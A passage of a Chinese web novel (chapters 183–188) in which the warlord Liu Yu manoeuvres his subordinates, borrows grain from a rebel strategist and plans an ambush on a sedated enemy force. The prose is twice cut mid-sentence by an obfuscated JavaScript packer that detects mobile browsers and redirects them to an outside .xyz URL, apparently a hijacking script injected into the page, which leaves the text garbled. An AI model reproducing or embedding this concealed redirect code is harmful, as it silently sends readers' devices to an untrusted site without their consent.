“武汉冲是自己人，李晟做的一切事情，也都是我授意的。” 陆游周阳一群人神情懵逼，一脸狐疑。 毕竟大家都不是傻子，如果是柳羽授意的，李晟有必要主动认错？ 柳羽却摆手道：“行了，等时局安定后，我会给兄弟们一个解释的，都别瞎想。” “陆游周阳，你们先带着兄弟们进城，架锅烧饭，让兄弟们吃饱。” “玉军师，有胆子跟我来一趟吗？” 玉军师神情古怪。 但没有犹豫，眼见柳羽独自走向一旁了，扭头给了她身边萧寒衣一个眼色，当即迈步跟上了柳羽步伐。 而和玉军师一同动身的，还有武汉冲。 两人一同跟着柳羽，走到离人群较远的地方。 等到柳羽停下脚步，武汉冲跟玉军师站在柳羽身后，却久久没有等到柳羽开口说话。 武汉冲等了一会儿，率先没崩住，颇为好奇地开口： “李晟一事，柳哥真不责罚？” “我此前让玉军师拦不住卫大人就撤一事你…一点都不生气吗？” 柳羽摇头：“只能说你很聪明，李晟是跟我一个村出来的亲兄弟，他就是犯了死罪，我也不会忍心杀他。” “人是会成长的，此前我得知我身边一直有人给你通风报信，确实是想不通。” “但在猜到是谁后，内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809018|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心反而平静了。” “而且我这个人遵循一个原则，用人不疑，疑人不用，我把幽泉剑都给你了，自然是完全相信你。” 玉军师眉头微皱。 记忆里柳羽牙尖嘴利，是个实打实的笑面虎。 怎么今天却成了个优柔寡断之人？ 就连陆游周阳他们都知道，今天李晟犯错柳羽不罚，其他兄弟也可能会觉得反正犯了错也不会有任何惩罚，因此效仿李晟。 玉军师身为一个军师，更是清楚管理属下，赏罚分明四个字的含金量。 眼见柳羽为了什么狗屁情义，居然变得如此优柔寡断，玉军师不禁笑着挪移道： “真是没想到，你柳羽竟然也有犯糊涂的时候。” “如果是我，这个李晟就算是我亲弟弟，今天也得脱成皮。” 不料，柳羽听到这话却是咧嘴一笑： “正因如此，所以你现在才混到不得不受我掌控的地步。” 玉军师神情一凝，面色瞬间僵硬了下来。 柳羽手背在背后，轻飘飘开口： “我是大哥，手下人之于我而言，没有忠与不忠，只有有用无用。” “忠有忠的用法，不忠有不忠的用法，实在不行，忠时便用，不忠便杀。” “不然…我今天杀了李晟，武总督你这个李晟的恩师，还能为我所用吗？” 前两句话，柳羽都是在述说自己的用人方法。 但到了最后一句话，柳羽却是笑盈盈望着武汉冲说的。 没错，对于柳羽此刻的处境而言，讨论什么忠诚与否根本就没有任何价值。 这个世界从来就不是非黑即白，忠这个字太大了，柳羽是个俗人，只知道维系人际关系最有用的东西是利用。 不杀李晟，除了内心那一丁点被消磨到快所剩无几的情义外。 最重要的是，李晟关系着武汉冲，而武汉冲关系着整个临县的局势走向。 要杀，柳羽就得把李晟武汉冲，临县一大帮人全杀光了。 不杀，武汉冲就必须是自己人，被自己牢牢掌控！ 这，才是关键。 第一百八十三章 龙脉所在 面对柳羽这个问题，武汉冲多少是有点惊讶的。 对于柳羽的这一番话，武汉冲甚至感到一丝丝脊背发寒。 短暂沉默后，武汉冲抱拳朝着柳羽道： “此前我一直以为，柳哥心系天下，手段高明，能成就一番大事。” “如今看来我还是浅薄了，未承想，柳哥竟还懂得王道。” “此番看来，柳哥不是能成就一番大事，而是必定成就一番大事！” 一旁的玉军师，此时也彻底明白过来，为什么柳羽不动李晟了。 这根本就不是什么优柔寡断。 而是在分析利弊后，做得最正确，最冷静，甚至于有点无情的选择。 也是直到此刻玉军师成反应过来，柳羽一个山野村夫来临县，从一个大头兵，能在短短一个多月的时间走到如今这一步，根本就不是什么偶然，更不是什么运气好。 纯粹就是乱世出英雄，柳羽的城府与能力，必然能将他推到如今这个地位。 柳羽目光看向武汉冲： “此前你说你有大计，但具体是什么却要保密。” “都到这一步了，该说说看了吧。” 武汉冲点头，伸手从衣袖里掏出早已经准备好的地形图： “柳哥且看，洛北城往南，沛县、陆县、周口、松阳栈道，到松阳栈道之前的地方，都是地势相对开阔，朝廷大军可随意开拔抵达之地。” “而松阳栈道之后，一条蜿蜒直线至临县乃至大后方的苍县，开始四面环山，直**绵延山脉当中，切了官道，便再无通往临县沧县的路可寻。” “如此两城，天高皇帝远，进可攻退可守，柳哥以为，这像是什么？” 临县的地形图，柳羽已经看了不知道多少遍了。 这一次，柳羽看都没看就直接道： “可比之龙脉，谁占据这两地，谁就有在这乱世当中，逐鹿天下之资。” 武汉冲眼睛瞪大，颇有点不敢置信地望向柳羽： “柳哥你，一早就觉察到了这一点？” 柳羽点头： “不然玉军师、汪天淼，还有那个卫大人，为什么要在这个大乱将至的当下，都心心念念地惦记着临县，不远**来到此地，想据为己有？” 说着，柳羽目光看向玉军师： “我说得不错吧，玉军师？” “而且我一直觉得你是北方人，甚至有可能是自京城官宦世家而来的。” “自始至终，你都以军师自居，但却不见你天军首领露头，那就只有一个可能了。” “要么你天军首领，是朝廷某位能上达天听的重臣，要么天军就没有首领，你玉军师即为天军首领。” 此话一出，玉军师只觉得手脚冰凉。 感觉上就好像是整个人被扒光了，看透了一样。 玉军师怎么也没想到，柳羽跟武汉冲说着说着，突然就把矛头对准了自己，还精准一枪捅进了自己心脏。 玉军师好歹是个军师，以胸有城府，善谋断策示人。 但现在站着柳羽跟武汉冲面前，尤其是面对柳羽。 对比起来，玉军师发现，自己居然就跟个牙牙学语的小孩一样单纯。 对于柳羽的话，玉军师不好正面回答。 更怕说错话了，被柳羽敏锐地察觉出更多东西。 只能是转移话题道： “我天军要什么，你柳羽很清楚。” “谁能让我天军在开春后，不被朝廷大军讨伐，秋后算账，我天军就跟着谁干。” 柳羽咧嘴一笑。 玉军师的来路她自己不说，柳羽也懒得问。 只是淡淡道：“那你算是找对人了，以后跟着我，我保你天军无碍。” 说着，柳羽目光看向刘宪华：“继续说。” 刘宪华点头： “既然柳哥你已经提前发觉，临县苍县联结起来可视为龙脉，那就简单多了。” “现在卫大人兵压临县，但由于是私自调兵，且汪天淼已经兵败落到了柳哥手上，那区区一个卫大人就不足为虑了，我已经提前命人带着书信，快马加鞭朝着都护府赶去。” “只要都护府里的大人得知卫大人跟汪天淼叛国，卫大人的大军，必定被立马召回。” 顿了顿，刘宪华继续道： “再加上临县出了这么多事，现在天下大乱，朝廷很难长臂管辖到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820599|173427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临县与苍县，只要我们不明着叛国，该交的赋税如期交，洛北城跟朝廷，开春后顶天了就派个县令过来。” 柳羽顿时明白了刘宪华的意思： “所以其实很简单，天军只要不再**，两座县城该上交的赋税都交上去，未来临县跟苍县怎么样，其实都任由我们发挥。” 刘宪华笑着点头： “原则上来说，这本来是不可能的事。” 一边说着，刘宪华一边将腰上之前柳羽给的幽泉剑取下来，拔出一半： “但如果我们不等都护府把卫大人一千兵马召回，先把这一千兵马给灭了，让洛北城跟都护府知道，原则在我们手上。” “那这事情，就成了。” 柳羽笑得开怀，丝毫没去担忧，要怎么灭卫大人的一千兵马。 只是乐呵道： “灭卫大人兵马，还得打着替国除贼的名号。” “如此一来，朝廷面子上过得去，我们里子上过得去。” “此役一结，朝廷下书过来给我们中的领头人封个官职，命其统御临县沧县二地，我们再跪地把恩一谢，一切皆大欢喜。” “不错。”刘宪华弯腰，朝着柳羽双手呈起幽泉剑：“天下乱不乱与我们无关，我们只要握好真理，就没人能决定我们的生死。” “而且要干这些还得快，再过半月左右就该初春了，要忙着召回百姓种田畜牧，恢复生产。” 柳羽一把抓过幽泉剑，多少有点挪移道： “所以你的大计，就是给我个规划，实事儿一点没办？” 刘宪华笑着摇头： “这当然是不可能的。” “柳哥的七杀棠，不是已经交给我了吗。” “所以除了这些事情以外，我还干了一件事。” 柳羽神情顿时兴奋起来。 刘宪华也不卖关子，乐呵道： “虽然我没有想到，柳哥能生擒汪天淼，但我却十分相信柳哥能解决汪天淼，并且因为担心我背后捅刀子，以最快速度亲自前去拦住卫大人，让卫大人能够被拖在松阳客栈附近。” “所有松阳客栈附近的所有水源，在昨夜就已经被投了**。” 第一百八十四章 粮草枯竭 听到这话，林寒眼睛一亮。 但反应过来后，第一时间想的不是问药效发作后，该怎么对卫大人部队动手。 而是立即道： “不是剧毒吧？” “你给人下毒我管不着，卫大人那些个马宝贵得很，我可是做梦都惦记着，绝对不能伤到了或药死了！” 武汉冲笑得开怀。 这个时代，哪有当将领的不喜欢马匹的。 甚至绝大多数时候，军马比人命的价值，要高得多得多。 柳羽这反应明显在武汉冲预料当中。 “放心吧柳哥，就是几包蒙汗药，加一大包晒干了的曼陀罗花而已，为了避免出事，我甚至连死掉的动物尸体，都没敢往松阳客栈的井水里丢。” 听到这话，柳羽顿时就放心了。 蒙汗药这种东西，只要不超大剂量使用，就药不死人，只具备麻醉效果而已。 而且蒙汗药的主要成分，就是极具麻醉效果的曼陀罗花粉。 卫大人手下一千多人，武汉冲下了蒙汗药还多下一包曼陀罗花干，明显就是担心药量不够，药不倒这么多人。 至于卫大人，会不会让自己手下，喝松阳客栈井水里的水，这就不是柳羽该操心的事情了。 柳羽直接朝着武汉冲道： “既然如此，玉军师的天军人马，我就全交给你了。” “从现在到大后天晚上，我给你三天时间，三天后，我要看到卫大人被捆绑住，站在我的面前。” “那你呢？”玉军师皱眉看向柳羽：“你全然不管？” 柳羽淡淡道：“我说过，用人不疑，疑人不用。” “至于这几天里，你天军会不会跟武汉冲合起伙来背后捅我一刀，这个我不在乎，也不担心。” “怎么样武汉冲，我放权给你，你有信心吗？” 武汉冲饶有深意地望着柳羽，也没多说什么，只是直接抱拳道： “回柳哥，卑职直接立军令状。” “三日之内，卑职若不能将卫大人绑到您跟前，卑职愿自刎当场。” 柳羽点头。 也没有再过多犹豫，当即就将腰间汪大人的宝剑取下来丢给武汉冲。 转身回到位于临县城门口时。 周阳陆游他们，已经将原本卫所营的全部士兵带进了城，架锅烧起了热饭。 城外，就只剩下玉军师的两千人队伍，在原地眼巴巴地站着，闻着城内飘出来的饭香，肚子咕咕直叫。 柳羽回来时，刘宪华正好从城门里走出来： “柳哥，饭已经烧好了。” “不过刚才我查了一下，城内粮草已经彻底枯竭，剩余粮草就只够弟兄们吃一顿的，而且没办法给判…天军管饭。” 柳羽眉头微皱。 天军队伍近两千人，临县一个卫所营加起来接近一千人，就是整整三千人。 此前柳羽对临县的粮草储备情况，是有一定了解的。 一直以为，临县城里的粮草，还能够撑一段时间。 没想到这么快就完了。 这么多人的情况下，别说饿一两天，就是饿一顿，那都是有可能出现哗变的。 难搞的是，临县周边村庄跑得跑死的死，就算剩下还有村庄里有人，在几个月战事当中，接连被临县征收粮食，此刻也绝对掏不出一丁点粮食来了。 朝廷指望不上，能借粮的苍县路途远，且当初柳羽离开沧县时，沧县本身也缺粮食，现在情况只会更坏。 卫大人一千兵马事小，粮草这个问题，却是摆在柳羽面前，结结实实地一座大山。 沉默片刻，柳羽目光看向刘宪华： “让自家兄弟等一等，先把做好的饭，全分给天军兄弟。” “跟兄弟们说，我柳羽保管他们今天晚上，都能吃上一顿饱饭，不仅有肉，而且能让他们吃撑！” 刘宪华一脸懵逼。 临县缺粮是一直以来都有的情况，此前王县令解决不了，他跟武汉冲几个总旗解决不了，后面来的汪天淼也没进行解决。 现在眼看天都快黑了，柳羽却说他能在天黑前搞到粮食。 这不开玩笑吗？ 内心虽然疑惑，刘宪华却还是相信柳羽能力的。 毕竟柳羽，从来就是一个说到做到的人。 犹豫片刻后，刘宪华当即点头，按照柳羽的要求，进城让城里的士兵先把饭让出来，给天军弟兄吃。 刘宪华那边，指挥士兵把一口口煮好饭的锅拿木棍架着，从城门抬出来。 柳羽则是趁着武汉冲在研究要怎么收拾卫大人的时候，厚着脸皮私下里找到了玉军师。 玉军师一看柳羽过来，不用问就知道柳羽要干什么。 直接拉着柳羽走到一边，清冷道： “天军是有粮食，而且不少，可以支撑过开春，甚至撑到春天过去。” “但你也知道，粮食是根本，我能带着手下人来帮你就已经是极限了，你想要粮，一分没有。” “而且你也别想等我天军跟卫大人部队打上了，偷偷带人上豹子山偷粮食去，粮食在什么地方只有我知道。” 柳羽却是摇头，笑盈盈地望着玉军师： “肤浅，难道我过来找你，就只能是因为利益吗？” 玉军师乐了，饶有兴味望着柳羽：“咱们俩之间，除开利益，还剩什么？” “还剩同仇敌忾，共同进退的情义啊。” 柳羽无比认真道。 听到这话，玉军师一脸不敢置信地望着柳羽： “我知道你不要脸，但我没想到你这么不要脸。” 柳羽全然不在意，只是伸出两根手指： “没办法，我要脸，我手下兄弟就得饿肚子。” “两千石，我只要两千石够吃三个多月的粮食。” “你帮我这一次，我保证让你手下这群朝廷反贼，全部变成卫所营士兵，事成后，我把临县让给你。” 听到这个承诺，玉军师没有一丝丝开心。 反而是神情沉重，没好气道： “与其相信你这话，我宁愿相信你喜欢美女，想娶我为妻。” 柳羽多少有点尴尬： “没想到，我在你眼中居然就这么不值得相信。” “可惜我已经有妻室了，不然为了粮食，我还真愿意出卖自己的纯洁，换兄弟们都吃上饱饭。” “这样吧。” 柳羽顿了顿道： “跟卫大人一战过后，能俘获多少马匹还不知道，但这马这东西我肯定是养不起多少的。” “你给我两千石粮食，事成后俘获的马匹分你一半，你先挑。” 第一百八十五章 准备回沧县 柳羽无奈望着玉军师： “这你总该信我了吧。” 然而让柳羽没想到的是，自己好话都说到这个地步了。 玉军师却还是摇头： “你知道的，粮食就是将士们的命，我可不敢拿这个开玩笑。” “不过…你要是能加入天军，成自己人后，一切都好商量。” 听闻这话，柳羽当即一个白眼就扔了过去。 柳羽以前当小兵的时候没加入天军，现在都混到这地步了，就更不可能加入天军了。 但毕竟是有求于人，柳羽思虑再三后试探性道： “挂个名可以，再多，我就只能动手抢你们了。” 玉军师咧嘴一笑，见好就收。 当即道： “我要的就是你能在天军挂个名，真让你来我天军里当个统领啥的，我也不敢把手下人交你手上，不然被你拐走了怎么办？” “这样吧，你先前不是说我天军只有军师，没有统帅吗？” “那你就挂名当我天军的统帅，给我一个象征你身份的物件做证明，而我则告诉你粮草藏匿地点。” 柳羽脸色难看。 统帅，名头听起来威风。 实则一旦答应，天军以后闹任何事，玉军师只需要把柳羽是天军统帅这个挂名身份一捅出来，所有锅都得柳羽来背。 以前，从来都是柳羽干缺德事，顺手把锅甩给天军背。 现在玉军师却要借着自己缺粮，让自己成为她的背锅侠。 这事儿干的，跟趁火打劫几乎没什么两样。 如果不是万不得已，柳羽宁愿让出临县这事的大部分利益，只为这事结束后，立马就能跟玉军师以及天军撇清关系。 叹息一声，柳羽无奈地将刚从武汉冲手上拿回来的幽泉剑，从腰上解下来，一脸不情愿地递向玉军师： “我这算是被你绑死了。” “就挂名哈，且在我没有触犯你天军利益之前，我在你天军里挂的统帅名头，除了我跟你，我不希望有第三个人知道。” 玉军师满脸笑意，伸手一把将柳羽掏出的幽泉剑握住，当即就想往自己怀里抱。 而柳羽却是极不情愿地握着，一点都不想松手。 “嗷！松手！再不松咬你哈！” 玉军师立马朝着柳羽龇牙咧嘴，一等柳羽把手松开，立马就把幽泉剑宝贝似的双手抱住。 “呵呵，你也有今天。” “放心吧，以前你截杀都护府官兵，把锅甩我身上的事我一点都不记仇。” “反正朝廷一旦查下来，你跟天军之间的关系也已经洗不清了，我不过就多要把尚方宝剑，确保你不会背后捅我刀子而已。” 说着，玉军师将手伸进衣袖，十分豪爽地就将一张粮草藏匿图递给了柳羽： “位置在豹子山后山脚下，没多少，也就差不多五千石粮食吧。” “入冬前我带兵洗劫临县周边山寨，劫掠朝廷运粮队伍赞下来的，一部分运往了深山，剩下的全在这里。” “省着点用，应该够你一千多人的队伍，吃上大半年了。” 柳羽手拿粮草图，眼睛瞪得像铜铃一般。 连拿着粮草图的手都有点颤抖。 五千石，这可是五千石粮草啊！ 用牛车拉，都得拉到几百躺才能全部拉完，就这么轻飘飘给出来了？ 而且，柳羽知道玉军师的叛军，劫了几个月官道很富裕，但怎么也没有想到，玉军师居然能这么富裕。 随随便便出手就是五千石，那玉军师藏在深山里的粮食，可能会更多。 上万石甚至几万石都有可能。 就这，玉军师还好意思说，她手上的粮食，只够她手下人马吃到春天结束？ 她手上的粮食，怕是够她手下吃一年都有余吧！ 难怪世人都说，抢才是发家致富最便捷的道路。 现在看来，还真就是这个道理。 玉军师饶有兴味望着柳羽：“你现在好歹是我天军挂名的统领，不要表现出一副没见过世面的样子好不好。” “临县曾经好歹是一座几万人口的大县，周边山贼拦路抢一两个月，都能抢到几千石粮食。” “我一个抢朝廷运粮车的人，随便掏五千石粮食出来不是很正常的事吗，不然你以为，临县为什么能穷到现在这副模样啊。” 柳羽嘴角抽搐。 想想也是，临县这么大一座县，穷成这样绝对一朝一夕的事情。 现在的临县，完全是在此前，县令贪腐家叛军山匪长年累月的劫掠之下，才变成如今这副模样的。 深吸一口气，柳羽认真地看向玉军师： “帮了大忙了。” “说真的，如果不是因为我已经有妻室，不看你长这么漂亮，就是看你这么富裕，我都一定会想尽办法娶了你。” “不说了，你跟武汉冲继续想办法怎么收拾卫大人去吧，我取粮去了。” 留下一个果绝的背影，柳羽转身，赶忙进城去找刘宪华。 而玉军师却是一脸懵逼地站在原地： “什么意思？什么叫不看你长得漂亮？” “合着我这么大个美人对你而言，还不如几千石粮食重要？” …… 临县城门楼子里，柳羽将刘宪华陆游周阳等人齐聚一堂。 没有任何解释，柳羽直接开口道： “诸位，我刚向天军借了五千石粮食，但粮食在山里，我需要大家去运。” “现在进行分配，刘宪华，你带一百人，尽快去运三百石粮食回来，保证城里弟兄们，往后一段时间能吃上饭。” 顿了顿，柳羽继续道： “王五陆游周阳，后卫营剩下三百人全归你们，我再抽王总旗手下两百人给你们，一共是五百人。” “你们去了就不用回来了，想办法，无论是背还是找车拉或者是分躺运，把这些粮食，给我在十天内，全部运回沧县柳家村去。” 柳羽此话一出，别人不知道柳羽这番安排的重要性，王五却是嗖地一下就从座位上站了起来： “柳哥，你是说，咱们准备回沧县，准备回家了？” 柳羽点头： “不错，出来这么久也该回去了。” “王五，等你们运完粮回到柳家村的时候，也差不多就开春了。” “你们这五百人就搁柳家村住着，把村周边的地尽可能多的开垦出来，准备种粮食。” 第一百八十六章 悬剑 王五欢天喜地的点头。 对于离家的游子而言，什么功名利禄升官发财，如果不是世道混乱，要想办法为自己跟家里人求一条生路，王五宁愿待在柳家村，过清苦的安稳日子。 柳羽又何尝不是如此。 天天在家，老婆小孩热炕头不香吗？ 王五此刻的心情，柳羽完全能够理解，甚至感同身受。 全部安排好以后，王五陆游等人带着五百人，跟刘宪华的一百人立即离开。 柳羽手上能用的人手，瞬间就少了一大半。 卫所营四百多人全给出去了不说，王总旗白户营还抽了二百人出来。 武汉冲的先锋营，在武汉冲自己手上捏着，准备搞卫大人。 到了这会儿，柳羽手上就只剩下了百户营最后两百人，外加一个袁羌可以用。 王总旗白户营的兵，还都不是柳羽曾经带过兵，王总旗这个人，柳羽也不知道能不能相信。 入手一抽，柳羽几乎成了实际意义上的孤家寡人。 这种情况下，卫大人、玉军师、武汉冲，甚至就连小小一个王总旗，都能轻易搞死柳羽。 但越是如此，柳羽越是不慌。 不仅不慌，甚至在天快黑的时候，柳羽还主动走到城门口，把玉军师武汉冲王总旗三个人汇聚了起来。 “怎么样，收拾卫大人这事，你两商量好了吗？” 武汉冲跟玉军师几乎是同一时间点头。 武汉冲率先道： “我已经让玉军师抽出一千人，绕道去松阳栈道堵路了，一旦开战，卫大人既没有办法往周口撤，也没办法直接攻打临县。” “两头一堵，只等药效发作瓮中捉鳖。” 柳羽无比欣慰地点头，目光朝着一旁的王总旗看去： “那王总旗，今夜你跟你的两百人负责守城吧，我跟他两一块出去玩玩。” 王总旗没多说什么，此前武汉冲告诉他，是柳羽拿命把王家村一干村民保下来的。 他虽然知道，柳羽现在掌管一切，自己在这其中是边缘角色，心里却也惦记着恩情。 果断抱拳道： “柳哥放心，有我在，临县不会出任何问题。” 柳羽咧嘴一笑，抬手朝着武汉冲摆手： “那走呗。” “城里我是老大，但收拾卫大人这事是交给你办的，所以不用在意什么身份，出了城都听你的，我也不例外。” 武汉冲神情微凝。 王五陆游他们带兵出城动静很大，武汉冲不仅知道，甚至还亲眼看见，他们是出城就进了山，朝豹子山方向去的。 但他们是去干什么的，柳羽不说，在这个敏感的时期，武汉冲既不敢问也不敢查。 站在武汉冲的角度来看，柳羽这样做明显就是不放心自己，在安排后手。 这就像是柳羽悬了把剑，悬在武汉冲头顶。 哪怕武汉冲没有任何反心，此刻在做任何决策时，都得掂量掂量柳羽的意思。 为此，武汉冲表现得相当小心： “柳哥这是哪里的话，将在外君命有所不受，可君就在军中，一切自然还是得过问您的意见。” “如果没什么别的事情的话，那柳哥，我就让大军开拔了？” 柳羽笑着点头。 任凭武汉冲大手一挥，让李晟传达他的军令，大军出城。 但不同于柳羽作风的是，柳羽习惯性地把自己能掌控的队伍，跟最信任的一干人等，安排在队伍最前面走着。 武汉冲却不一样。 武汉冲是让玉军师手下萧统领，带着近千名天军士兵走在最前面。 而武汉冲自己的一百人先锋营则是走后面，武汉冲自己，更是带着柳羽玉军师萧天元三人，走在队伍最末端。 要知道，行军队伍怎么排列，是相当讲究的。 将在前，通常是因为整个队伍都完全在掌控之中，或是这个将领相当自信，确信整个队伍不会出现哗变逃兵等情况，才敢安稳走在最前面，去探查第一手的前方情况。 而将在后，则就相当保守了，队伍太长的情况下，往往需要在前军中安排传令官，通过传令官了解前军情况，或是向前军下达军令，作战跟实施军令的效率，会大大降低。 唯一的好处是，将领走在最后面，能第一时间发现自己队伍中，有没有出现异常情况，方便对整个队伍进行管理。 武汉冲跟柳羽的带兵风格，完完全全就是截然不同的两种风格。 对于这种情况，柳羽就静静跟着队伍后面看着，也没多说什么。 柳羽表现出来的模样，就好像只有武汉冲他们是出城打仗的，而自己只是出城踏青的一样。 不仅什么也不说，什么也不问。 柳羽甚至相当悠哉，一边走，还能一边趁着天还没黑，去看官道两旁冰雪消融的风景。 前面，玉军师手握腰间幽权剑剑柄，悄悄朝着武汉冲靠拢。 等走到武汉冲身边后，玉军师回头撇了眼落在队伍最后面的柳羽： “你家柳掌门啥情况，一路上话也不说，事儿也不管，就搁后面跟个公子哥似的走着，不知道的还以为他出城下乡走亲戚的嘞。” 武汉冲咧嘴苦笑： “你问我啥情况？我跟他的关系，还没他跟你关系够铁，我怎么知道他啥情况。” “哎，这做大哥了就是不一样，背个手就把事情给办了。” “我这当小弟的还是老老实实干活吧，你也别靠这么近，要是引得某些人怀疑了，我以后日子可不好过。” 看起来武汉冲啥也没说，玉军师却是听明白了。 得嘞，柳羽这一脸悠哉地跟过来，就是奔着亲自监督武汉冲来的。 见状玉军师赶忙跟武汉冲分开距离。 之前柳羽就担心天军跟武汉冲联合起来起反心，现在靠这么近，只会加深柳羽的怀疑。 玉军师还指望柳羽开春后帮她一把呢，这个时候，是一点都不想被柳羽猜忌。 众人继续行军。 半小时后，队伍距离松阳客栈不到一里地时，武汉冲就让李晟传军令，让前面整个队伍停了下来原地休息。 这会儿天已经黑了，李晟手拿火把站着武汉冲身边照亮。 武汉冲则是跟玉军师萧寒衣三人蹲地上，将一张地图摊开。 第一百八十七章 我家乡有个洛水典故 只是地图摊开后，武汉冲三人却是大眼瞪小眼，谁都不敢说话。 不为别的，就因为柳羽搁旁边七八米的路边上站着，丝毫没有靠过来的意思。 眼瞅着三人纷纷把目光看向了自己，柳羽笑盈盈摆手： “商量进攻计策啊？” “没事，你们商量呗，当我不存在就行。” “我来临县这么久，还没好好看过临县附近的风景呢，你们聊你们的，我看我的。” 听到这话，玉军师眼睛瞪直了朝武寒冲看去。 虽然没说话，但眼神已经说明了一切。 天都黑了，伸手不见五指，他看鸡毛风景啊？ 武汉冲能有什么办法。 面对玉军师的目光，武汉冲脸上只有苦笑。 犹豫片刻后，武汉冲叹息一声起身，微微弯着腰，亲自走到柳羽面前： “柳哥，马上就要准备开打了，我们这些当下属的哪儿有您本事大，还是需要您提点一二啊。” 不得不说，武汉冲一个曾经混到总督地位的人，拍马屁的功夫还是有的。 不仅有，而且颇为精通。 一句话的功夫，就直接拔高了柳羽的地位。 然而，都说伸手不打笑脸人，但柳羽偏就要反着来。 本来就是来敲打武汉冲的，柳羽丝毫不客气地挑眉道： “我是老大，就应该什么事情都问我啊，那我养着你们这群人干什么的，吃干饭的啊？” “去去去，不要扰了我看风景的兴致。” 武汉冲脸上表情，三分尴尬，五分无奈，剩下两分，是对柳羽深深的忌惮。 搁柳羽身边站了得有五六个呼吸的时间，武汉冲才踌躇道： “柳哥，天军弓弩手足有三百人，您说，用这三百人侧翼偷袭如何？” 柳羽双手交叉进袖口，吐出一口寒气：“不知道。” 武汉冲神情一愣。 谁人不知，柳羽的箭术，算得上实打实的神箭手。 弓箭偷袭这方面的事，柳羽能不知道？ 眼看柳羽是真一点都不想管的样子，武汉冲愣了一小会儿，还是有点不死心道： “这蒙汗药吃了，容易嗜睡，若卫大人部队都喝了我们下过蒙汗药的井水，今夜一定睡得很踏实。” “柳哥您说，把人分散开逐个暗杀，如何？” 柳羽还是摇头。 不过这次，柳羽却是没有直接说不知道。 而是乐呵道： “诶，武汉冲，你一说水，我突然一下子想到了我家乡的一条河，叫作洛水河。” 武汉冲完全不明白，柳羽这个关键节骨眼上，提一条听都没听过的河干什么。 却只能是硬着头皮道： “哦？” “柳哥您这是，思乡了？” 柳羽笑着摇头： “没有，就是想起了洛水河的一个典故。” “我家乡这条洛水河啊，象征着人与人之间坚固的誓言，古往今来，不少才子佳人在洛水河边，许下白首不分离的誓言，也有不少能臣猛将，征战时着洛水河边立下忠于君主的誓言。” “他们每个人都在洛水的见证下，坚定不移地履行了自己曾经或年少，或穷困时，对他人的承诺，你说这条洛水河神不神奇？” 听着柳羽这个典故，武汉冲笑着频频点头： “神奇，真是一条神奇的河流啊。” “听柳哥您这么一说，我都想日后有机会了，到这条洛水河边去，许下一个誓言。” “没机会了。”柳羽脸上笑容消失，扭头到一边淡淡道： “千年来从来没有人违背过洛水之誓。” “但后面出了个叫司马懿的老将军，在洛水边立誓自己家族世世代代都会忠于君主，忠于王室，结果后面君主一死新君刚立，他就一剑捅死了新君屠了整个王室，篡夺了天下。” “所以从前对洛水立誓，世人会觉得这个人无比的忠贞，现在对洛水立誓，世人只会觉得是个笑话。” 随着柳羽话音落下。 武汉冲脸上笑容整个僵硬住，额头冷汗直流。 整个身体，更是直接从脚底板凉到了天灵盖。 柳羽望着呆若木鸡的武汉冲，却是又展露出笑容，笑盈盈地将手搭在武汉冲肩膀上： “别多想，我就是跟你分享我家乡的典故而已，一点别的意思都没有。” “我相信你不是司马懿，哈哈，去吧，打卫大人去吧。” 在柳羽的安慰下，武汉冲缓了好一会儿才呆若木鸡点头，惴惴不安回到玉军师身边。 柳羽先前的说话声音不大，但正好够几米外的玉军师跟萧寒衣听见。 玉军师跟萧寒一，此时都是神情沉重。 旁边拿着火把帮忙照亮的李晟，更是吓白了小脸。 李晟到现在，都没找到一个好机会，向柳羽解释自己之前为什么要背叛。 柳羽还一直不主动降罪，李晟都差点以为，柳羽是惦记着兄弟情义，把这一茬已经忘到脑后了。 此刻柳羽这番话一出，李晟才意识到，柳羽根本没忘。 都搁心里记着呢！ 此时此刻，李晟整个脑袋，都是嗡嗡的。 一旁的武汉冲同样不好受。 本来以为，柳羽把王五周阳他们安排走，就已经是在自己头顶悬了把剑了。 没想到，柳羽是准备了一把更锋利的剑，直接插进了自己胸口。 “我相信你不是司马懿。” 这句话，就像梦魇一样盘旋在武汉冲脑海，挥之不去，植入骨髓。 这一次，武汉冲就连苦笑都不敢了。 勉强收住心神，摆出一副职业干仗人姿态，用冷漠的神情彻底跟玉军师拉开距离，手指地图严肃道： “卫大人手下一千人兵马，乃朝廷正规军。” “虽来得匆忙，却带了粮草，带粮草，其中就必定有军需官。” “而军需官保证粮草供应及时之外的另外一项任务，便是确保将士马匹吃的东西，绝对安全，所以遇到不了解的水源，军需官一定会事先用银针和其他方法查探，虽然蒙汗药银针查不出来，但卫大人不一定中计。” “今晚，有可能是一场硬仗要打。” 说着，武汉冲目光看向玉军师果断下令： “所以，我要你天军正面御敌，无论何种情况，必须抵挡住卫大人三个时辰。” “怎么抵挡我不管，死多少人我也不管，三个时辰，挡住了，之前柳哥答应你的一切都作数，挡不住，我直接撤回临县缩着，等朝廷大军来，你天军自求多福！” 第一百八十八章 马难道没腿吗 玉军师脸色难看至极。 本来武汉冲还是比较好说话的，加上现在局势掌控在临县这边，收拾卫大人的方法有很多，根本用不着正面死战。 甚至就连玉军师自己，都有规划一个作战计划，正准备跟武汉冲商量呢。 却怎么也没想到，武汉冲被柳羽敲打后，为求自保直接变脸。 